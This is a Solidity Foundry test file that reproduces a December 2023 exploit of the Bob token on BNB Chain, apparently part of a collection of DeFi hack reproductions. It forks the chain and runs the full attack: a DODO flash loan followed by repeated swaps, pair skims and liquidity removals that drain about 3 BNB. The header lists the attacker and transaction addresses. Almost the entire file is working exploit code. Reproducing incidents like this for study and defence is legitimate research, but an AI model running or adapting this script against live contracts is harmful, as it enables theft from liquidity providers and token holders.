src/test/2023-12/Bob_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5 
6// @KeyInfo - Total Lost : ~3BNB
7// Attacker : https://bscscan.com/address/0xcb733f075ae67a83a9c5f38a0864596e338a0106
8// Attack Contract : https://bscscan.com/address/0x0fe1983b8972630c866fe77ad873a66ec598b685
9// Vulnerable Contract : https://bscscan.com/address/0x10ed43c718714eb63d5aa57b78b54704e256024e
10// Attack Tx : https://bscscan.com/tx/0xfb14292a531411f852993e5a3ba4e7eb63ed548220267b9b3f4aacc5572d3a58
11 
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0x10ed43c718714eb63d5aa57b78b54704e256024e#code
14 
15// @Analysis
16// Post-mortem :
17// Twitter Guy :
18// Hacking God :
19pragma solidity ^0.8.0;
20 
21import "forge-std/Test.sol";
22import "./../interface.sol";
23 
24contract Bob is BaseTestWithBalanceLog {
25    IERC20 HackDao = IERC20(0x94e06c77b02Ade8341489Ab9A23451F68c13eC1C);
26    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
27    Uni_Pair_V2 Pair1 = Uni_Pair_V2(0xcd4CDAa8e96ad88D82EABDdAe6b9857c010f4Ef2); // HackDao WBNB
28    Uni_Pair_V2 Pair2 = Uni_Pair_V2(0xbdB426A2FC2584c2D43dba5A7aB11763DFAe0225); //HackDao USDT
29    address router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
30    Uni_Router_V2 Router = Uni_Router_V2(router);
31    address dodo = 0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d;
32 
33    IERC20 Bob = IERC20(0x700eE24c350739e323Dcf6A50Ae3E7A3329C86aE);
34 
35    Uni_Pair_V2 cakeLP = Uni_Pair_V2(0x7CafdAaa0ba0F471c800DBaca94bDB943311939d);
36 
37    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
38 
39    function setUp() public {
40        cheats.createSelectFork("bsc", 34_428_628 - 1);
41    }
42 
43    function testExploit() public {
44        // WBNB.approve(address(Router), type(uint256).max);
45        // HackDao.approve(address(Router), type(uint256).max);
46        DVM(dodo).flashLoan(100 * 1e18, 0, address(this), "0x00");
47 
48        emit log_named_decimal_uint("[End] Attacker BNB balance after exploit", WBNB.balanceOf(address(this)), 18);
49    }
50 
51    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public {
52        WBNB.approve(address(Router), type(uint256).max);
53        Bob.approve(address(Router), type(uint256).max);
54        cakeLP.approve(address(Router), type(uint256).max);
55 
56        address[] memory path = new address[](2);
57        path[0] = address(WBNB);
58        path[1] = address(Bob);
59 
60        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
61            20_000_000_000_000, 0, path, address(this), block.timestamp
62        );
63 
64        (uint112 reserve0, uint112 reserve1, uint32 timestamp) = cakeLP.getReserves();
65        uint256 bob_balance = Bob.balanceOf(address(this));
66        uint256 amount_b = Router.quote(bob_balance, reserve0, reserve1);
67        WBNB.transfer(address(cakeLP), amount_b);
68        Bob.transfer(address(cakeLP), bob_balance);
69        cakeLP.mint(address(this));
70 
71        int256 index = 0;
72        while (index < 9) {
73            Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
74                WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
75            );
76 
77            Bob.transfer(address(cakeLP), Bob.balanceOf(address(this)));
78            cakeLP.skim(address(cakeLP));
79            (uint112 reserve0, uint112 reserve1, uint32 timestamp) = cakeLP.getReserves();
80            uint256 bob_balance = Bob.balanceOf(address(cakeLP));
81            uint256 amountOut = Router.getAmountOut(96 * bob_balance / 100, reserve0, reserve1);
82            cakeLP.swap(0, amountOut, address(this), abi.encode("0x00"));
83 
84            address[] memory path = new address[](2);
85            path[0] = address(WBNB);
86            path[1] = address(Bob);
87 
88            Router.swapTokensForExactTokens(
89                90 * bob_balance / 100, WBNB.balanceOf(address(this)), path, router, block.timestamp
90            );
91            Router.removeLiquidityETHSupportingFeeOnTransferTokens(
92                address(Bob), 1_000_000_000_000_000_000, 1, 1, address(this), block.timestamp
93            );
94 
95            address[] memory path_reverse = new address[](2);
96            path_reverse[0] = address(Bob);
97            path_reverse[1] = address(WBNB);
98            Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
99                Bob.balanceOf(address(this)), 0, path_reverse, address(this), block.timestamp
100            );
101            index++;
102        }
103 
104        WBNB.transfer(dodo, 100 * 1e18);
105    }
106 
107    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
108        return;
109    }
110 
111    fallback() external payable {}
112}